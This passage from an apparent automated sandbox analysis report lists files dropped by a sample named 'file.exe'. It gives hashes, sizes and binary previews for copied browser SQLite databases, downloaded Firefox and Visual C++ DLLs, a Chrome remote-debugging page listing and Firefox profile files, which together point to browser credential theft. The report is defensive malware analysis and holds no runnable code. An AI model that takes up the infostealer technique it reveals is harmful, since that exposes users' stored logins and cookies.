Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\DGDBKFBAKFBFHIECFBFIJKJKKF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECGDHIDA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECGDHIDAAFHIIDGDBFIE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKECFIEB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\chrome.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	692736
Entropy (8bit):	6.304379785339226
Encrypted:	false
SSDEEP:	12288:Kk5nGNLFzxC+gej5yNcTN+pt+tLK75PL2rn65hYVKKuKOvy/j3t:KMGNL/geFyNcTN+jv75TQn652VBuNyb
MD5:	EDA18948A989176F4EEBB175CE806255
SHA1:	FF22A3D5F5FB705137F233C36622C79EAB995897
SHA-256:	81A4F37C5495800B7CC46AEA6535D9180DADB5C151DB6F1FD1968D1CD8C1EEB4
SHA-512:	160ED9990C37A4753FC0F5111C94414568654AFBEDC05308308197DF2A99594F2D5D8FE511FD2279543A869ED20248E603D88A0B9B8FB119E8E6131B0C52FF85
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 5y992FSaRX.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: oZ7nac01Em.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: WGo3ga1AL9.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s,.>7M.m7M.m7M.m\|5.l<M.m\|5.l.M.m\|5.l#M.m'..l"M.m'..l'M.m'..l.M.m\|5.l:M.m7M.m.M.m7M.mlM.m...l6M.m...l6M.mRich7M.m........................PE..L......g.........."!...)............P.....................................................@..........................\..l...<].................................. 8...(..T....................(......@'..@............................................text............................... ..`.rdata..zV.......X..................@..@.data...T....p.......N..............@....reloc.. 8.......:...X..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.380534191236402
Encrypted:	false
SSDEEP:	48:SfNaoQM3QTEQM0fNaoQ0Q3fNaoQZQsfNaoQe0UrU0U8QD:6NnQJTEQHNnQ0QvNnQZQYNnQe0UrU0Ur
MD5:	3D87BBF05C973D28719805EEC13D071C
SHA1:	84BC8DCF767E151C68C5029BF5EE63CA5FD78BA8
SHA-256:	ADBEF57C7253C64E12F7F06C52179E5DCDD2680E09A8D7A4CE48B144962A73A0
SHA-512:	45DC9A048A2419F262667526895ABDFD6C4C76304EA65DAE986AE6E4E8927881A07AF2D9C7D42204A6B2D585105814E1B5E8C31E596BCBA15EA45ABA29DE2A78
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/5DD97F5F7BF211262A5AF4876A426518",.. "id": "5DD97F5F7BF211262A5AF4876A426518",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/5DD97F5F7BF211262A5AF4876A426518"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/48B4CAAA69FDC08089596B9E10C8733D",.. "id": "48B4CAAA69FDC08089596B9E10C8733D",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/48B4CAAA69FDC08089596B9E10C8733D"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.GZmhE2vV14w.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTuKvZ-nsYNivRzfGpm8QSi6tMFrvg"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2287)
Category:	downloaded
Size (bytes):	178061
Entropy (8bit):	5.555305495625512
Encrypted:	false
